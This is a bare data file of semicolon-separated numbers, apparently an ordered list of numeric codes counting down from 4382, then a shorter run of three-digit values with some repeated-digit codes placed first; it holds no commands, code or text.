4382;4381;4380;4379;4378;4377;4376;4375;4374;4373;4372;4371;4370;4369;4368;4367;4366;4365;4364;4363;4362;4361;4360;4359;4358;4357;4356;4355;4354;4353;4352;4351;4350;4349;4348;4347;4346;4345;4344;4343;4342;4341;4340;4339;4338;4337;4336;4335;4334;4333;4332;4331;4330;4329;4328;4327;4326;4325;4324;4323;4322;4321;4320;4319;4318;4317;4316;4315;4314;4313;4312;4311;4310;4309;4308;4307;4306;4305;4304;4303;4302;4301;4300;4299;4298;4297;4296;4295;4294;4293;4292;4291;4290;4289;4288;4287;4286;4285;4284;4283;4282;4281;4280;4279;4278;4277;4276;4275;4274;4273;4272;4271;4270;4269;4268;4267;4266;4265;4264;4263;4262;4261;4260;4259;4258;4257;4256;4255;4254;4253;4252;4251;4250;4249;4248;4247;4246;4245;4244;4243;4242;4241;4240;4239;4238;4237;4236;4235;4234;4233;4232;4231;4230;4229;4228;4227;4226;4225;4224;4223;4222;4221;4220;4219;4218;4217;4216;4215;4214;4213;4212;4211;4210;4209;4208;4207;4206;4205;4204;4203;4202;4201;4200;4199;4198;4197;4196;4195;4194;4193;4192;4191;4190;4189;4188;4187;4186;4185;4184;4183;4182;4181;4180;4179;4178;4177;4176;4175;4174;4173;4172;4171;4170;4169;4168;4167;4166;4165;4164;4163;4162;4161;4160;4159;4158;4157;4156;4155;4154;4153;4152;4151;4150;4149;4148;4147;4146;4145;4144;4143;4142;4141;4140;4139;4138;4137;4136;4135;4134;4133;4132;4131;4130;4129;4128;4127;4126;4125;4124;4123;4122;4121;4120;4119;4118;4117;4116;4115;4114;4113;4112;4111;4110;4109;4108;4107;4106;4105;4104;4103;4102;4101;4100;4099;4098;4097;4096;4095;4094;4093;4092;4091;4090;4089;4088;4087;4086;4085;4084;4083;4082;4081;4080;4079;4078;4077;4076;4075;4074;4073;4072;4071;4070;4069;4068;4067;4066;4065;4064;4063;4062;4061;4060;4059;4058;4057;4056;4055;4054;4053;4052;4051;4050;4049;4048;4047;4046;4045;4044;4043;4042;4041;4040;4039;4038;4037;4036;4035;4034;4033;4032;4031;4030;4029;4028;4027;4026;4025;4024;4023;4022;4021;4020;4019;4018;4017;4016;4015;4014;4013;4012;4011;4010;4009;4008;4007;4006;4005;4004;4003;4002;4001;4000;3999;3998;3997;3996;3995;3994;3993;3992;3991;3990;3989;3988;3987;3986;3985;3984;3983;3982;3981;3980;3979;3978;3977;3976;3975;3974;3973;3972;3971;3970;3969;3968;3967;3966;3965;3964;3963;3962;3961;3960;3959;3958;3957;3956;3955;3954;3953;3952;3951;3950;3949;3948;3947;3946;3945;3944;3943;3942;3941;3940;3939;3938;3937;3936;3935;3934;3933;3932;3931;3930;3929;3928;3927;3926;3925;3924;3923;3922;3921;3920;3919;3918;3917;3916;3915;3914;3913;3912;3911;3910;3909;3908;3907;3906;3905;3904;3903;3902;3901;3900;3899;3898;3897;3896;3895;3894;3893;3892;3891;3890;3889;3888;3887;3886;3885;3884;3883;3882;3881;3880;3879;3878;3877;3876;3875;3874;3873;3872;3871;3870;3869;3868;3867;3866;3865;3864;3863;3862;3861;3860;3859;3858;3857;3856;3855;3854;3853;3852;3851;3850;3849;3848;3847;3846;3845;3844;3843;3842;3841;3840;3839;3838;3837;3836;3835;3834;3833;3832;3831;3830;3829;3828;3827;3826;3825;3824;3823;3822;3821;3820;3819;3818;3817;3816;3815;3814;3813;3812;3811;3810;3809;3808;3807;3806;3805;3804;3803;3802;3801;3800;3799;3798;3797;3796;3795;3794;3793;3792;3791;3790;3789;3788;3787;3786;3785;3784;3783;3782;3781;3780;3779;3778;3777;3776;3775;3774;3773;3772;3771;3770;3769;3768;3767;3766;3765;3764;3763;3762;3761;3760;3759;3758;3757;3756;3755;3754;3753;3752;3751;3750;3749;3748;3747;3746;3745;3744;3743;3742;3741;3740;3739;3738;3737;3736;3735;3734;3733;3732;3731;3730;3729;3728;3727;3726;3725;3724;3723;3722;3721;3720;3719;3718;3717;3716;3715;3714;3713;3712;3711;3710;3709;3708;3707;3706;3705;3704;3703;3702;3701;3700;3699;3698;3697;3696;3695;3694;3693;3692;3691;3690;3689;3688;3687;3686;3685;3684;3683;3682;3681;3680;3679;3678;3677;3676;3675;3674;3673;3672;3671;3670;3669;3668;3667;3666;3665;3664;3663;3662;3661;3660;3659;3658;3657;3656;3655;3654;3653;3652;3651;3650;3649;3648;3647;3646;3645;3644;3643;3642;3641;3640;3639;3638;3637;3636;3635;3634;3633;3632;3631;3630;3629;3628;3627;3626;3625;3624;3623;3622;3621;3620;3619;3618;3617;3616;3615;3614;3613;3612;3611;3610;3609;3608;3607;3606;3605;3604;3603;3602;3601;3600;3599;3598;3597;3596;3595;3594;3593;3592;3591;3590;3589;3588;3587;3586;3585;3584;3583;3582;3581;3580;3579;3578;3577;3576;3575;3574;3573;3572;3571;3570;3569;3568;3567;3566;3565;3564;3563;3562;3561;3560;3559;3558;3557;3556;3555;3554;3553;3552;3551;3550;3549;3548;3547;3546;3545;3544;3543;3542;3541;3540;3539;3538;3537;3536;3535;3534;3533;3532;3531;3530;3529;3528;3527;3526;3525;3524;3523;3522;3521;3520;3519;3518;3517;3516;3515;3514;3513;3512;3511;3510;3509;3508;3507;3506;3505;3504;3503;3502;3501;3500;3499;3498;3497;3496;3495;3494;3493;3492;3491;3490;3489;3488;3487;3486;3485;3484;3483;3482;3481;3480;3479;3478;3477;3476;3475;3474;3473;3472;3471;3470;3469;3468;3467;3466;3465;3464;3463;3462;3461;3460;3459;3458;3457;3456;3455;3454;3453;3452;3451;3450;3449;3448;3447;3446;3445;3444;3443;3442;3441;3440;3439;3438;3437;3436;3435;3434;3433;3432;3431;3430;3429;3428;3427;3426;3425;3424;3423;3422;3421;3420;3419;3418;3417;3416;3415;3414;3413;3412;3411;3410;3409;3408;3407;3406;3405;3404;3403;3402;3401;3400;3399;3398;3397;3396;3395;3394;3393;3392;3391;3390;3389;3388;3387;3386;3385;3384;3383;3382;3381;3380;3379;3378;3377;3376;3375;3374;3373;3372;3371;3370;3369;3368;3367;3366;3365;3364;3363;3362;3361;3360;3359;3358;3357;3356;3355;3354;3353;3352;3351;3350;3349;3348;3347;3346;3345;3344;3343;3342;3341;3340;3339;3338;3337;3336;3335;3334;3332;3331;3330;3329;3328;3327;3326;3325;3324;3323;3322;3321;3320;3319;3318;3317;3316;3315;3314;3313;3312;3311;3310;3309;3308;3307;3306;3305;3304;3303;3302;3301;3300;3299;3298;3297;3296;3295;3294;3293;3292;3291;3290;3289;3288;3287;3286;3285;3284;3283;3282;3281;3280;3279;3278;3277;3276;3275;3274;3273;3272;3271;3270;3269;3268;3267;3266;3265;3264;3263;3262;3261;3260;3259;3258;3257;3256;3255;3254;3253;3252;3251;3250;3249;3248;3247;3246;3245;3244;3243;3242;3241;3240;3239;3238;3237;3236;3235;3234;3233;3232;3231;3230;3229;3228;3227;3226;3225;3224;3223;3222;3221;3220;3219;3218;3217;3216;3215;3214;3213;3212;3211;3210;3209;3208;3207;3206;3205;3204;3203;3202;3201;3200;3199;3198;3197;3196;3195;3194;3193;3192;3191;3190;3189;3188;3187;3186;3185;3184;3183;3182;3181;3180;3179;3178;3177;3176;3175;3174;3173;3172;3171;3170;3169;3168;3167;3166;3165;3164;3163;3162;3161;3160;3159;3158;3157;3156;3155;3154;3153;3152;3151;3150;3149;3148;3147;3146;3145;3144;3143;3142;3141;3140;3139;3138;3137;3136;3135;3134;3133;3132;3131;3130;3129;3128;3127;3126;3125;3124;3123;3122;3121;3120;3119;3118;3117;3116;3115;3114;3113;3112;3111;3110;3109;3108;3107;3106;3105;3104;3103;3102;3101;3100;3099;3098;3097;3096;3095;3094;3093;3092;3091;3090;3089;3088;3087;3086;3085;3084;3083;3082;3081;3080;3079;3078;3077;3076;3075;3074;3073;3072;3071;3070;3069;3068;3067;3066;3065;3064;3063;3062;3061;3060;3059;3058;3057;3056;3055;3054;3053;3052;3051;3050;3049;3048;3047;3046;3045;3044;3043;3042;3041;3040;3039;3038;3037;3036;3035;3034;3033;3032;3031;3030;3029;3028;3027;3026;3025;3024;3023;3022;3021;3020;3019;3018;3017;3016;3015;3014;3013;3012;3011;3010;3009;3008;3007;3006;3005;3004;3003;3002;3001;3000;2999;2998;2997;2996;2995;2994;2993;2992;2991;2990;2989;2988;2987;2986;2985;2984;2983;2982;2981;2980;2979;2978;2977;2976;2975;2974;2973;2972;2971;2970;2969;2968;2967;2966;2965;2964;2963;2962;2961;2960;2959;2958;2957;2956;2955;2954;2953;2952;2951;2950;2949;2948;2947;2946;2945;2944;2943;2942;2941;2940;2939;2938;2937;2936;2935;2934;2933;2932;2931;2930;2929;2928;2927;2926;2925;2924;2923;2922;2921;2920;2919;2918;2917;2916;2915;2914;2913;2912;2911;2910;2909;2908;2907;2906;2905;2904;2903;2902;2901;2900;2899;2898;2897;2896;2895;2894;2893;2892;2891;2890;2889;2888;2887;2886;2885;2884;2883;2882;2881;2880;2879;2878;2877;2876;2875;2874;2873;2872;2871;2870;2869;2868;2867;2866;2865;2864;2863;2862;2861;2860;2859;2858;2857;2856;2855;2854;2853;2852;2851;2850;2849;2848;2847;2846;2845;2844;2843;2842;2841;2840;2839;2838;2837;2836;2835;2834;2833;2832;2831;2830;2829;2828;2827;2826;2825;2824;2823;2822;2821;2820;2819;2818;2817;2816;2815;2814;2813;2812;2811;2810;2809;2808;2807;2806;2805;2804;2803;2802;2801;2800;2799;2798;2797;2796;2795;2794;2793;2792;2791;2790;2789;2788;2787;2786;2785;2784;2783;2782;2781;2780;2779;2778;2777;2776;2775;2774;2773;2772;2771;2770;2769;2768;2767;2766;2765;2764;2763;2762;2761;2760;2759;2758;2757;2756;2755;2754;2753;2752;2751;2750;2749;2748;2747;2746;2745;2744;2743;2742;2741;2740;2739;2738;2737;2736;2735;2734;2733;2732;2731;2730;2729;2728;2727;2726;2725;2724;2723;2722;2721;2720;2719;2718;2717;2716;2715;2714;2713;2712;2711;2710;2709;2708;2707;2706;2705;2704;2703;2702;2701;2700;2699;2698;2697;2696;2695;2694;2693;2692;2691;2690;2689;2688;2687;2686;2685;2684;2683;2682;2681;2680;2679;2678;2677;2676;2675;2674;2673;2672;2671;2670;2669;2668;2667;2666;2665;2664;2663;2662;2661;2660;2659;2658;2657;2656;2655;2654;2653;2652;2651;2650;2649;2648;2647;2646;2645;2644;2643;2642;2641;2640;2639;2638;2637;2636;2635;2634;2633;2632;2631;2630;2629;2628;2627;2626;2625;2624;2623;2622;2621;2620;2619;2618;2617;2616;2615;2614;2613;2612;2611;2610;2609;2608;2607;2606;2605;2604;2603;2602;2601;2600;2599;2598;2597;2596;2595;2594;2593;2592;2591;2590;2589;2588;2587;2586;2585;2584;2583;2582;2581;2580;2579;2578;2577;2576;2575;2574;2573;2572;2571;2570;2569;2568;2567;2566;2565;2564;2563;2562;2561;2560;2559;2558;2557;2556;2555;2554;2553;2552;2551;2550;2549;2548;2547;2546;2545;2544;2543;2542;2541;2540;2539;2538;2537;2536;2535;2534;2533;2532;2531;2530;2529;2528;2527;2526;2525;2524;2523;2522;2521;2520;2519;2518;2517;2516;2515;2514;2513;2512;2511;2510;2509;2508;2507;2506;2505;2504;2503;2502;2501;2500;2499;2498;2497;2496;2495;2494;2493;2492;2491;2490;2489;2488;2487;2486;2485;2484;2483;2482;2481;2480;2479;2478;2477;2476;2475;2474;2473;2472;2471;2470;2469;2468;2467;2466;2465;2464;2463;2462;2461;2460;2459;2458;2457;2456;2455;2454;2453;2452;2451;2450;2449;2448;2447;2446;2445;2444;2443;2442;2441;2440;2439;2438;2437;2436;2435;2434;2433;2432;2431;2430;2429;2428;2427;2426;2425;2424;2423;2422;2421;2420;2419;2418;2417;2416;2415;2414;2413;2412;2411;2410;2409;2408;2407;2406;2405;2404;2403;2402;2401;2400;2399;2398;2397;2396;2395;2394;2393;2392;2391;2390;2389;2388;2387;2386;2385;2384;2383;2382;2381;2380;2379;2378;2377;2376;2375;2374;2373;2372;2371;2370;2369;2368;2367;2366;2365;2364;2363;2362;2361;2360;2359;2358;2357;2356;2355;2354;2353;2352;2351;2350;2349;2348;2347;2346;2345;2344;2343;2342;2341;2340;2339;2338;2337;2336;2335;2334;2333;2332;2331;2330;2329;2328;2327;2326;2325;2324;2323;2322;2321;2320;2319;2318;2317;2316;2315;2314;2313;2312;2311;2310;2309;2308;2307;2306;2305;2304;2303;2302;2301;2300;2299;2298;2297;2296;2295;2294;2293;2292;2291;2290;2289;2288;2287;2286;2285;2284;2283;2282;2281;2280;2279;2278;2277;2276;2275;2274;2273;2272;2271;2270;2269;2268;2267;2266;2265;2264;2263;2262;2261;2260;2259;2258;2257;2256;2255;2254;2253;2252;2251;2250;2249;2248;2247;2246;2245;2244;2243;2242;2241;2240;2239;2238;2237;2236;2235;2234;2233;2232;2231;2230;2229;2228;2227;2226;2225;2224;2223;2221;2220;2219;2218;2217;2216;2215;2214;2213;2212;2211;2210;2209;2208;2207;2206;2205;2204;2203;2202;2201;2200;2199;2198;2197;2196;2195;2194;2193;2192;2191;2190;2189;2188;2187;2186;2185;2184;2183;2182;2181;2180;2179;2178;2177;2176;2175;2174;2173;2172;2171;2170;2169;2168;2167;2166;2165;2164;2163;2162;2161;2160;2159;2158;2157;2156;2155;2154;2153;2152;2151;2150;2149;2148;2147;2146;2145;2144;2143;2142;2141;2140;2139;2138;2137;2136;2135;2134;2133;2132;2131;2130;2129;2128;2127;2126;2125;2124;2123;2122;2121;2120;2119;2118;2117;2116;2115;2114;2113;2112;2111;2110;2109;2108;2107;2106;2105;2104;2103;2102;2101;2100;2099;2098;2097;2096;2095;2094;2093;2092;2091;2090;2089;2088;2087;2086;2085;2084;2083;2082;2081;2080;2079;2078;2077;2076;2075;2074;2073;2072;2071;2070;2069;2068;2067;2066;2065;2064;2063;2062;2061;2060;2059;2058;2057;2056;2055;2054;2053;2052;2051;2050;2049;2048;2047;2046;2045;2044;2043;2042;2041;2040;2039;2038;2037;2036;2035;2034;2033;2032;2031;2030;2029;2028;2027;2026;2025;2024;2023;2022;2021;2020;2019;2018;2017;2016;2015;2014;2013;2012;2011;2010;2009;2008;2007;2006;2005;2004;2003;2002;2001;2000;1999;1998;1997;1996;1995;1994;1993;1992;1991;1990;1989;1988;1987;1986;1985;1984;1983;1982;1981;1980;1979;1978;1977;1976;1975;1974;1973;1972;1971;1970;1969;1968;1967;1966;1965;1964;1963;1962;1961;1960;1959;1958;1957;1956;1955;1954;1953;1952;1951;1950;1949;1948;1947;1946;1945;1944;1943;1942;1941;1940;1939;1938;1937;1936;1935;1934;1933;1932;1931;1930;1929;1928;1927;1926;1925;1924;1923;1922;1921;1920;1919;1918;1917;1916;1915;1914;1913;1912;1911;1910;1909;1908;1907;1906;1905;1904;1903;1902;1901;1900;1899;1898;1897;1896;1895;1894;1893;1892;1891;1890;1889;1888;1887;1886;1885;1884;1883;1882;1881;1880;1879;1878;1877;1876;1875;1874;1873;1872;1871;1870;1869;1868;1867;1866;1865;1864;1863;1862;1861;1860;1859;1858;1857;1856;1855;1854;1853;1852;1851;1850;1849;1848;1847;1846;1845;1844;1843;1842;1841;1840;1839;1838;1837;1836;1835;1834;1833;1832;1831;1830;1829;1828;1827;1826;1825;1824;1823;1822;1821;1820;1819;1818;1817;1816;1815;1814;1813;1812;1811;1810;1809;1808;1807;1806;1805;1804;1803;1802;1801;1800;1799;1798;1797;1796;1795;1794;1793;1792;1791;1790;1789;1788;1787;1786;1785;1784;1783;1782;1781;1780;1779;1778;1777;1776;1775;1774;1773;1772;1771;1770;1769;1768;1767;1766;1765;1764;1763;1762;1761;1760;1759;1758;1757;1756;1755;1754;1753;1752;1751;1750;1749;1748;1747;1746;1745;1744;1743;1742;1741;1740;1739;1738;1737;1736;1735;1734;1733;1732;1731;1730;1729;1728;1727;1726;1725;1724;1723;1722;1721;1720;1719;1718;1717;1716;1715;1714;1713;1712;1711;1710;1709;1708;1707;1706;1705;1704;1703;1702;1701;1700;1699;1698;1697;1696;1695;1694;1693;1692;1691;1690;1689;1688;1687;1686;1685;1684;1683;1682;1681;1680;1679;1678;1677;1676;1675;1674;1673;1672;1671;1670;1669;1668;1667;1666;1665;1664;1663;1662;1661;1660;1659;1658;1657;1656;1655;1654;1653;1652;1651;1650;1649;1648;1647;1646;1645;1644;1643;1642;1641;1640;1639;1638;1637;1636;1635;1634;1633;1632;1631;1630;1629;1628;1627;1626;1625;1624;1623;1622;1621;1620;1619;1618;1617;1616;1615;1614;1613;1612;1611;1610;1609;1608;1607;1606;1605;1604;1603;1602;1601;1600;1599;1598;1597;1596;1595;1594;1593;1592;1591;1590;1589;1588;1587;1586;1585;1584;1583;1582;1581;1580;1579;1578;1577;1576;1575;1574;1573;1572;1571;1570;1569;1568;1567;1566;1565;1564;1563;1562;1561;1560;1559;1558;1557;1556;1555;1554;1553;1552;1551;1550;1549;1548;1547;1546;1545;1544;1543;1542;1541;1540;1539;1538;1537;1536;1535;1534;1533;1532;1531;1530;1529;1528;1527;1526;1525;1524;1523;1522;1521;1520;1519;1518;1517;1516;1515;1514;1513;1512;1511;1510;1509;1508;1507;1506;1505;1504;1503;1502;1501;1500;1499;1498;1497;1496;1495;1494;1493;1492;1491;1490;1489;1488;1487;1486;1485;1484;1483;1482;1481;1480;1479;1478;1477;1476;1475;1474;1473;1472;1471;1470;1469;1468;1467;1466;1465;1464;1463;1462;1461;1460;1459;1458;1457;1456;1455;1454;1453;1452;1451;1450;1449;1448;1447;1446;1445;1444;1443;1442;1441;1440;1439;1438;1437;1436;1435;1434;1433;1432;1431;1430;1429;1428;1427;1426;1425;1424;1423;1422;1421;1420;1419;1418;1417;1416;1415;1414;1413;1412;1411;1410;1409;1408;1407;1406;1405;1404;1403;1402;1401;1400;1399;1398;1397;1396;1395;1394;1393;1392;1391;1390;1389;1388;1387;1386;1385;1384;1383;1382;1381;1380;1379;1378;1377;1376;1375;1374;1373;1372;1371;1370;1369;1368;1367;1366;1365;1364;1363;1362;1361;1360;1359;1358;1357;1356;1355;1354;1353;1352;1351;1350;1349;1348;1347;1346;1345;1344;1343;1342;1341;1340;1339;1338;1337;1336;1335;1334;1333;1332;1331;1330;1329;1328;1327;1326;1325;1324;1323;1322;1321;1320;1319;1318;1317;1316;1315;1314;1313;1312;1311;1310;1309;1308;1307;1306;1305;1304;1303;1302;1301;1300;1299;1298;1297;1296;1295;1294;1293;1292;1291;1290;1289;1288;1287;1286;1285;1284;1283;1282;1281;1280;1279;1278;1277;1276;1275;1274;1273;1272;1271;1270;1269;1268;1267;1266;1265;1264;1263;1262;1261;1260;1259;1258;1257;1256;1255;1254;1253;1252;1251;1250;1249;1248;1247;1246;1245;1244;1243;1242;1241;1240;1239;1238;1237;1236;1235;1233;1232;1231;1230;1229;1228;1227;1226;1225;1224;1223;1222;1221;1220;1219;1218;1217;1216;1215;1214;1213;1212;1211;1210;1209;1208;1207;1206;1205;1204;1203;1202;1201;1200;1199;1198;1197;1196;1195;1194;1193;1192;1191;1190;1189;1188;1187;1186;1185;1184;1183;1182;1181;1180;1179;1178;1177;1176;1175;1174;1173;1172;1171;1170;1169;1168;1167;1166;1165;1164;1163;1162;1161;1160;1159;1158;1157;1156;1155;1154;1153;1152;1151;1150;1149;1148;1147;1146;1145;1144;1143;1142;1141;1140;1139;1138;1137;1136;1135;1134;1133;1132;1131;1130;1129;1128;1127;1126;1125;1124;1123;1122;1121;1120;1119;1118;1117;1116;1115;1114;1113;1112;1110;1109;1108;1107;1106;1105;1104;1103;1102;1101;1100;1099;1098;1097;1096;1095;1094;1093;1092;1091;1090;1089;1088;1087;1086;1085;1084;1083;1082;1081;1080;1079;1078;1077;1076;1075;1074;1073;1072;1071;1070;1069;1068;1067;1066;1065;1064;1063;1062;1061;1060;1059;1058;1057;1056;1055;1054;1053;1052;1051;1050;1049;1048;1047;1046;1045;1044;1043;1042;1041;1040;1039;1038;1037;1036;1035;1034;1033;1032;1031;1030;1029;1028;1027;1026;1025;1024;1023;1022;1021;1020;1019;1018;1017;1016;1015;1014;1013;1012;1011;1010;1009;1008;1007;1006;1005;1004;1003;1002;1001;1000;0999;0998;0997;0996;0995;0994;0993;0992;0991;0990;0989;0988;0987;0986;0985;0984;0983;0982;0981;0980;0979;0978;0977;0976;0975;0974;0973;0972;0971;0970;0969;0968;0967;0966;0965;0964;0963;0962;0961;0960;0959;0958;0957;0956;0955;0954;0953;0952;0951;0950;0949;0948;0947;0946;0945;0944;0943;0942;0941;0940;0939;0938;0937;0936;0935;0934;0933;0932;0931;0930;0929;0928;0927;0926;0925;0924;0923;0922;0921;0920;0919;0918;0917;0916;0915;0914;0913;0912;0911;0910;0909;0908;0907;0906;0905;0904;0903;0902;0901;0900;0899;0898;0897;0896;0895;0894;0893;0892;0891;0890;0889;0888;0887;0886;0885;0884;0883;0882;0881;0880;0879;0878;0877;0876;0875;0874;0873;0872;0871;0870;0869;0868;0867;0866;0865;0864;0863;0862;0861;0860;0859;0858;0857;0856;0855;0854;0853;0852;0851;0850;0849;0848;0847;0846;0845;0844;0843;0842;0841;0840;0839;0838;0837;0836;0835;0834;0833;0832;0831;0830;0829;0828;0827;0826;0825;0824;0823;0822;0821;0820;0819;0818;0817;0816;0815;0814;0813;0812;0811;0810;0809;0808;0807;0806;0805;0804;0803;0802;0801;0800;0799;0798;0797;0796;0795;0794;0793;0792;0791;0790;0789;0788;0787;0786;0785;0784;0783;0782;0781;0780;0779;0778;0777;0776;0775;0774;0773;0772;0771;0770;0769;0768;0767;0766;0765;0764;0763;0762;0761;0760;0759;0758;0757;0756;0755;0754;0753;0752;0751;0750;0749;0748;0747;0746;0745;0744;0743;0742;0741;0740;0739;0738;0737;0736;0735;0734;0733;0732;0731;0730;0729;0728;0727;0726;0725;0724;0723;0722;0721;0720;0719;0718;0717;0716;0715;0714;0713;0712;0711;0710;0709;0708;0707;0706;0705;0704;0703;0702;0701;0700;0699;0698;0697;0696;0695;0694;0693;0692;0691;0690;0689;0688;0687;0686;0685;0684;0683;0682;0681;0680;0679;0678;0677;0676;0675;0674;0673;0672;0671;0670;0669;0668;0667;0666;0665;0664;0663;0662;0661;0660;0659;0658;0657;0656;0655;0654;0653;0652;0651;0650;0649;0648;0647;0646;0645;0644;0643;0642;0641;0640;0639;0638;0637;0636;0635;0634;0633;0632;0631;0630;0629;0628;0627;0626;0625;0624;0623;0622;0621;0620;0619;0618;0617;0616;0615;0614;0613;0612;0611;0610;0609;0608;0607;0606;0605;0604;0603;0602;0601;0600;0599;0598;0597;0596;0595;0594;0593;0592;0591;0590;0589;0588;0587;0586;0585;0584;0583;0582;0581;0580;0579;0578;0577;0576;0575;0574;0573;0572;0571;0570;0569;0568;0567;0566;0565;0564;0563;0562;0561;0560;0559;0558;0557;0556;0555;0554;0553;0552;0551;0550;0549;0548;0547;0546;0545;0544;0543;0542;0541;0540;0539;0538;0537;0536;0535;0534;0533;0532;0531;0530;0529;0528;0527;0526;0525;0524;0523;0522;0521;0520;0519;0518;0517;0516;0515;0514;0513;0512;0511;0510;0509;0508;0507;0506;0505;0504;0503;0502;0501;0500;0499;0498;0497;0496;0495;0494;0493;0492;0491;0490;0489;0488;0487;0486;0485;0484;0483;0482;0481;0480;0479;0478;0477;0476;0475;0474;0473;0472;0471;0470;0469;0468;0467;0466;0465;0464;0463;0462;0461;0460;0459;0458;0457;0456;0455;0454;0453;0452;0451;0450;0449;0448;0447;0446;0445;0444;0443;0442;0441;0440;0439;0438;0437;0436;0435;0434;0433;0432;0431;0430;0429;0428;0427;0426;0425;0424;0423;0422;0421;0420;0419;0418;0417;0416;0415;0414;0413;0412;0411;0410;0409;0408;0407;0406;0405;0404;0403;0402;0401;0400;0399;0398;0397;0396;0395;0394;0393;0392;0391;0390;0389;0388;0387;0386;0385;0384;0383;0382;0381;0380;0379;0378;0377;0376;0375;0374;0373;0372;0371;0370;0369;0368;0367;0366;0365;0364;0363;0362;0361;0360;0359;0358;0357;0356;0355;0354;0353;0352;0351;0350;0349;0348;0347;0346;0345;0344;0343;0342;0341;0340;0339;0338;0337;0336;0335;0334;0333;0332;0331;0330;0329;0328;0327;0326;0325;0324;0323;0322;0321;0320;0319;0318;0317;0316;0315;0314;0313;0312;0311;0310;0309;0308;0307;0306;0305;0304;0303;0302;0301;0300;0299;0298;0297;0296;0295;0294;0293;0292;0291;0290;0289;0288;0287;0286;0285;0284;0283;0282;0281;0280;0279;0278;0277;0276;0275;0274;0273;0272;0271;0270;0269;0268;0267;0266;0265;0264;0263;0262;0261;0260;0259;0258;0257;0256;0255;0254;0253;0252;0251;0250;0249;0248;0247;0246;0245;0244;0243;0242;0241;0240;0239;0238;0237;0236;0235;0234;0233;0232;0231;0230;0229;0228;0227;0226;0225;0224;0223;0222;0221;0220;0219;0218;0217;0216;0215;0214;0213;0212;0211;0210;0209;0208;0207;0206;0205;0204;0203;0202;0201;0200;0199;0198;0197;0196;0195;0194;0193;0192;0191;0190;0189;0188;0187;0186;0185;0184;0183;0182;0181;0180;0179;0178;0177;0176;0175;0174;0173;0172;0171;0170;0169;0168;0167;0166;0165;0164;0163;0162;0161;0160;0159;0158;0157;0156;0155;0154;0153;0152;0151;0150;0149;0148;0147;0146;0145;0144;0143;0142;0141;0140;0139;0138;0137;0136;0135;0134;0133;0132;0131;0130;0129;0128;0127;0126;0125;0124;0122;0121;0120;0119;0118;0117;0116;0115;0114;0113;0112;0111;0110;0109;0108;0107;0106;0105;0104;0103;0102;0101;0100;0099;0098;0097;0096;0095;0094;0093;0092;0091;0090;0089;0088;0087;0086;0085;0084;0083;0082;0081;0080;0079;0078;0077;0076;0075;0074;0073;0072;0071;0070;0069;0068;0067;0066;0065;0064;0063;0062;0061;0060;0059;0058;0057;0056;0055;0054;0053;0052;0051;0050;0049;0048;0047;0046;0045;0044;0043;0042;0041;0040;0039;0038;0037;0036;0035;0034;0033;0032;0031;0030;0029;0028;0027;0026;0025;0024;0023;0022;0021;0020;0019;0018;0017;0016;0015;0014;0013;0012;0011;0010;0009;0008;0007;0006;0005;0004;0003;0002;0001;567;000;222;333;444;555;598;666;777;888;999;998;997;996;995;994;993;992;991;990;989;988;987;986;985;984;983;982;981;980;979;978;977;976;975;974;973;972;971;970;969;968;967;966;965;964;963;962;961;960;959;958;957;956;955;954;953;952;951;950;949;948;947;946;945;944;943;942;941;940;939;938;937;936;935;934;933;932;931;930;929;928;927;926;925;924;923;922;921;920;919;918;917;916;915;914;913;912;911;910;909;908;907;906;905;904;903;902;901;900;899;898;897;896;895;894;893;892;891;890;889;887;886;885;884;883;882;881;880;879;878;877;876;875;874;873;872;871;870;869;868;867;866;865;864;863;862;861;860;859;858;857;856;855;854;853;852;851;850;849;848;847;846;845;844;843;842;841;840;839;838;837;836;835;834;833;832;831;830;829;828;827;826;825;824;823;822;821;820;819;818;817;816;815;814;813;812;811;810;809;808;807;806;805;804;803;802;801;800;799;798;797;796;795;794;793;792;791;790;789;788;787;786;785;784;783;782;781;780;779;778;776;775;774;773;772;771;770;769;768;767;766;765;764;763;762;761;760;759;758;757;756;755;754;753;752;751;750;749;748;747;746;745;744;743;742;741;740;739;738;737;736;735;734;733;732;731;730;729;728;727;726;725;724;723;722;721;720;719;718;717;716;715;714;713;712;711;710;709;708;707;706;705;704;703;702;701;700;699;698;697;696;695;694;693;692;691;690;689;688;687;686;685;684;683;682;681;680;679;678;677;676;675;674;673;672;671;670;669;668;667;665;664;663;662;661;660;659;658;657;656;655;654;653;652;651;650;649;648;647;646;645;644;643;642;641;640;639;638;637;636;635;634;633;632;631;630;629;628;627;626;625;624;623;622;621;620;619;618;617;616;615;614;613;612;611;610;609;608;607;606;605;604;603;602;601;600;599;597;596;595;594;593;592;591;590;589;588;587;586;585;584;583;582;581;580;579;578;577;576;575;574;573;572;571;570;569;568;566;565;564;563;562;561;560;559;558;557;556;554;553;552;551;550;549;548;547;546;545;544;543;542;541;540;539;538;537;536;535;534;533;532;531;530;529;528;527;526;525;524;523;522;521;520;519;518;517;516;515;514;513;512;511;510;509;508;507;506;505;504;503;502;501;500;499;498;497;496;495;494;493;492;491;490;489;488;487;486;485;484;483;482;481;480;479;478;477;476;475;474;473;472;471;470;469;468;467;466;465;464;463;462;461;460;459;458;457;456;455;454;453;452;451;450;449;448;447;446;445;443;442;441;440;439;438;437;436;435;434;433;432;431;430;429;428;427;426;425;424;423;422;421;420;419;418;417;416;415;414;413;412;411;410;409;408;407;406;405;404;403;402;401;400;399;398;397;396;395;394;393;392;391;390;389;388;387;386;385;384;383;382;381;380;379;378;377;376;375;374;373;372;371;370;369;368;367;366;365;364;363;362;361;360;359;358;357;356;355;354;353;352;351;350;349;348;347;346;345;344;343;342;341;340;339;338;337;336;335;334;332;331;330;329;328;327;326;325;324;323;322;321;320;319;318;317;316;315;314;313;312;311;310;309;308;307;306;305;304;303;302;301;300;299;298;297;296;295;294;293;292;291;290;289;288;287;286;285;284;283;282;281;280;279;278;277;276;275;274;273;272;271;270;269;268;267;266;265;264;263;262;261;260;259;258;257;256;255;254;253;252;251;250;249;248;247;246;245;244;243;242;241;240;239;238;237;236;235;234;233;232;231;230;229;228;227;226;225;224;223;221;220;219;218;217;216;215;214;213;212;211;210;209;208;207;206;205;204;203;202;201;200;199;198;197;196;195;194;193;192;191;190;189;188;187;186;185;184;183;182;181;180;179;178;177;176;175;174;173;172;171;170;169;168;167;166;165;164;163;162;161;160;159;158;157;156;155;154;153;152;151;150;149;148;147;146;145;144;143;142;141;140;139;138;137;136;135;134;133;132;131;130;129;128;127;126;125;124;123;122;121;120;119;118;117;116;115;114;113;112;111;110;109;108;107;106;105;104;103;102;101;100;099;098;097;096;095;094;093;092;091;090;089;088;087;086;085;084;083;082;081;080;079;078;077;076;075;074;073;072;071;070;069;068;067;066